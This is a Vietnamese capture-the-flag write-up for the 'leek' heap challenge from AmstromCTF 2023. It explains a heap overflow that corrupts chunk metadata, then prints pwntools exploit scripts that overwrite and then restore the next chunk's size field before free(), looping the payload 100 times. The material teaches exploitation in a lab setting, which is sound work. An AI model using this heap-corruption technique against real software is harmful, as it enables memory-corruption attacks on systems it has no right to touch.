# Leek - AmstromCTF 2023

## Challenge

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2Fwm1T79dSzmx68cYyOyaN%2Fimage.png?alt=media&#x26;token=e714ceee-6c50-445b-a020-6aeb14c788bc" alt=""><figcaption></figcaption></figure>

## Solution

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2Fb7kA5q51pI9xgOdqtTMh%2Fimage.png?alt=media&#x26;token=e150e285-71f4-48cd-84ab-34c595ca3f37" alt=""><figcaption><p>Tử ảnh này mình sẽ suy ra từng chunk trên memory</p></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FNe4wBmTJPkocj0hg3kyC%2Fimage.png?alt=media&#x26;token=c110507d-1c57-46e0-9865-0a114ac7ac3c" alt=""><figcaption></figcaption></figure>

#### v9\_chunk

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F1QVXAWZF2NYvgCnZhDn5%2Fimage.png?alt=media&#x26;token=9e6a21c6-58e3-46ab-95b3-49f3837053e8" alt=""><figcaption></figcaption></figure>

#### s\_chunk

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2Fd1SSfqj0SvpWMKEo5dqO%2Fimage.png?alt=media&#x26;token=3a184732-f07d-4e42-bd6b-9e1c2b12dfee" alt=""><figcaption></figcaption></figure>

Hãy nhớ lại cấu trúc của 1 chunk được <mark style="color:yellow;">**allocated**</mark>:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2Fp3vYbJTIIxByUY0lAofr%2Fimage.png?alt=media&#x26;token=58c764c2-5052-426d-b5ef-ffdf6dd92a0f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F67eGKPSRL78pPJMHY12F%2Fimage.png?alt=media&#x26;token=691ac86f-5aa2-453f-a99c-98be5532cfb6" alt=""><figcaption></figcaption></figure>

Phần mầu tím chứa các bytes \x00 là do trước đó không có <mark style="color:red;">**chunk**</mark> nào được <mark style="color:red;">**free**</mark>. Phần khoanh tròn phía sau nó là kích thước. Bên dưới metadata đó chính là <mark style="color:red;">**Userdata**</mark>(nơi được randomize dữ liệu)

Sau đó chunk này sẽ được free nên tôi đoán mình phải <mark style="color:red;">**giữ nguyên vẹn**</mark> data như sau để tránh không xảy ra lỗi free như lần làm đầu tiên của mình.

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FPapcF4BdiYC2styaaeAJ%2Fimage.png?alt=media&#x26;token=c137ef88-1a0b-4a0c-9dd4-ef4bbf7ebb02" alt=""><figcaption></figcaption></figure>

Theo như tôi đọc wu thì thấy đây là lỗi <mark style="color:red;">**Heap Overflow**</mark> nên tôi khá chắc chắn suy luận ban đầu của tôi là đúng. Chỉ là nó chưa đủ chắc chắn để giải quyết bài toán này.

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FV84gn2FnhJljkbfSCWWT%2Fimage.png?alt=media&#x26;token=154f1a96-2dca-4c09-8c11-77171ca0bfc2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F6sZ1WsbJOILCcawwEB2v%2Fimage.png?alt=media&#x26;token=fae7d095-4d1b-4675-991b-2b918cf500fc" alt=""><figcaption></figcaption></figure>

Nơi tôi trỏ mũi tên đó chính là nơi dữ liệu bắt đầu được nhập vào. và kiểm tra thì thấy phần này cho nhập tối đa 1280 kí tự (Đây là yếu tố giúp tôi đoán Overflow) \\

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FSPbVxqwuOzgSR0ihfo5s%2Fimage.png?alt=media&#x26;token=496fe93b-d52a-4603-a391-b06d1bb07933" alt=""><figcaption></figcaption></figure>

Thì bạn có thể thấy nó đã ghi đè sang phần meta data của chunk sau tôi cá là khi free nó sẽ hỏng :))

Bởi vậy tôi sẽ gửi như sau:

{% code lineNumbers="true" %}

```python
from pwn import *

r = process("./leek")
gdb.attach(r, api = True)
context.clear(os = "linux", arch='x86_64', log_level="debug")
payload = b"a" * 63
r.sendlineafter(b" OVERFLOWS!!):", payload)

r.sendlineafter(b"What's my secret? ", b"a" * 31)

payload = b"\x00" * 24 + b"\x31" + b"\x00" * 7
r.sendlineafter(b"Say what you want:", payload)

r.interactive()
```

{% endcode %}

Giải thích 1 chút:

* Dòng 6, 7, 9 là dùng để bypass điều kiện kiểm tra trên source code.&#x20;
* Dòng 11, 12 là để chỉnh sửa lại memory sau 1 cuộc overflow hoang tàn ---> Mục đích của nó nhằm đảm bảo tính toàn vẹn của các chunk trước khi được free.&#x20;

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FduvN73znDvXBpwXKKupD%2Fimage.png?alt=media&#x26;token=328eb5c4-4713-40c7-b6ca-d4040d4cddd6" alt=""><figcaption></figcaption></figure>

Các meta data được sửa lại sau khi <mark style="color:green;">**overflow**</mark> đã làm hỏng các <mark style="color:red;">**metadata**</mark>:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F4wHWn9GOFIa5qbiTYSex%2Fimage.png?alt=media&#x26;token=bc48da4f-d6d4-4e1f-8c5c-6123f90b09f2" alt=""><figcaption></figcaption></figure>

Phần size của chunk cũng được ghi đè thành <mark style="color:red;">**`61 61 61 61.`**</mark>Như ảnh sau:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FaNqhRMcnjyz2jtTjv5ff%2Fimage.png?alt=media&#x26;token=500d7505-0170-4bd4-95d1-ae91c5e72164" alt=""><figcaption></figcaption></figure>

Vậy bây giờ việc của mình sẽ là gửi nó 100 lần là xong:&#x20;

{% code title="exploit.py" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

r = process("./leek")
#r = remote("challs.actf.co", 31310)
gdb.attach(r, api = True)
context.clear(os = "linux", arch='x86_64', log_level="debug")
for i in range(0,100):
    payload = b'a' * 63
    r.sendlineafter(b'):', payload)

    r.sendlineafter(b'secret?', b'a' * 31)

    payload = b'\x00' * 24 + b'\x31' + b'\x00' * 7 + b'a' * 31
    r.sendlineafter(b'want:', payload)

r.interactive()
```

{% endcode %}

## Bài học rút ra:

Ăn vụng cũng phải biết chùi mép. Sau khi ta làm hỏng các <mark style="color:red;">**chunk**</mark> rồi thì hãy chỉnh nó lại hoặc. Trước khi các <mark style="color:red;">**chunk**</mark> được <mark style="color:red;">**free**</mark> thì nên xem <mark style="color:red;">**metadata**</mark> của nó có bị thay đổi hay không.
